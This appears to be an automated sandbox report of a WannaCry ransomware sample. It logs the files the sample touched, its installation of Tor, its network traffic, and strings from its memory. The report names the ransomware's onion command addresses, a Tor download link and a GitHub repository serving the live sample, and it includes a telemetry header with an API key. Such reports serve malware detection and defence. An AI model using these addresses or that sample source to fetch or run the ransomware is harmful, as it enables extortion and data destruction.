Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.72.131:443 -> 192.168.2.16:49903 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\~SD37EB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\~SD37ED.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\~SD37EC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\~SD37EE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\~SD37EF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\~SD37EA.tmp	Jump to behavior

Networking

Found Tor onion address

Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1933086357.000000000251D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C12t9YDPgwueZ9NyMgw519p7AA8isjr6SMwgx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 0000000B.00000003.1930805946.0000000002516000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C12t9YDPgwueZ9NyMgw519p7AA8isjr6SMwgx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
Source: @WanaDecryptor@.exe, 0000004B.00000002.1530917323.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: C12t9YDPgwueZ9NyMgw519p7AA8isjr6SMwgx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$

Installs TOR (Internet Anonymizer)

Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\@WanaDecryptor@.exe

File created: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\tor.exe

Source: global traffic

HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: */*APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEApwChWQq5lNmBKsEPWGpnTgALtq6cu/9Dlxsars2jaiEPTBfZ1quoJbcAwU8Txaa8q3M1HduY4uLm+fCw8/qqsWP12ZUjUg7jK/RADXyVTCS49Jp/bOkotugNvMLEhFQWKroL6wTlvyng19/rY4p0GnonDOuwK1985i5xy4VbGZmqShzB9JWOn//Nn9jTG8fCy74/dR0vdzR9b3S6M2QnDehkJzz6WScdv103BPiylwOU0KubJRggyyddYCzzL6HvnUNKXvoIX+E4S+NgNS+6vR1WSTXxQJG89QgTb4nWlKoLIU4nqqAwUmlb93DzHEGNgbHQE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1711205520300Host: self.events.data.microsoft.comContent-Length: 8079Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.21.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	HTTP traffic detected: GET /chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zip HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/light-0eace2597ca3.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/dark-a167e256da9c.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/primer-primitives-366b5c973fad.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/global-c2f8efb9bce8.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/primer-f3607eccaaae.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/github-19c85be4af9c.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/repository-6247ca238fd4.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/code-ad2fce00d003.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/react-code-view.959fb0b61e6a1de773e7.module.css HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/wp-runtime-5afb085e74be.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_dompurify_dist_purify_js-6890e890956f.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-7bd350d761f4.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/ui_packages_failbot_failbot_ts-5bd9ba639cc0.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/environment-27057bd9ed0b.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-9f960d9b217c.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-086f7a27bac0.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-c76945c5961a.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-81d69b-d1813ba335d8.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-8a621df59e80.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-b7d8f4-654130b7cde5.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-3959a9-68b3d6c8feb2.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/github-elements-369bd99876f6.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/element-registry-fb4b8d40f206.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-5a0e291a0298.js HTTP/1.1Host: github.githubassets.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://github.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://github.com/chronosmiki/RANSOMWARE-WANNACRY-2.0/blob/master/Ransomware.WannaCry.zipAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
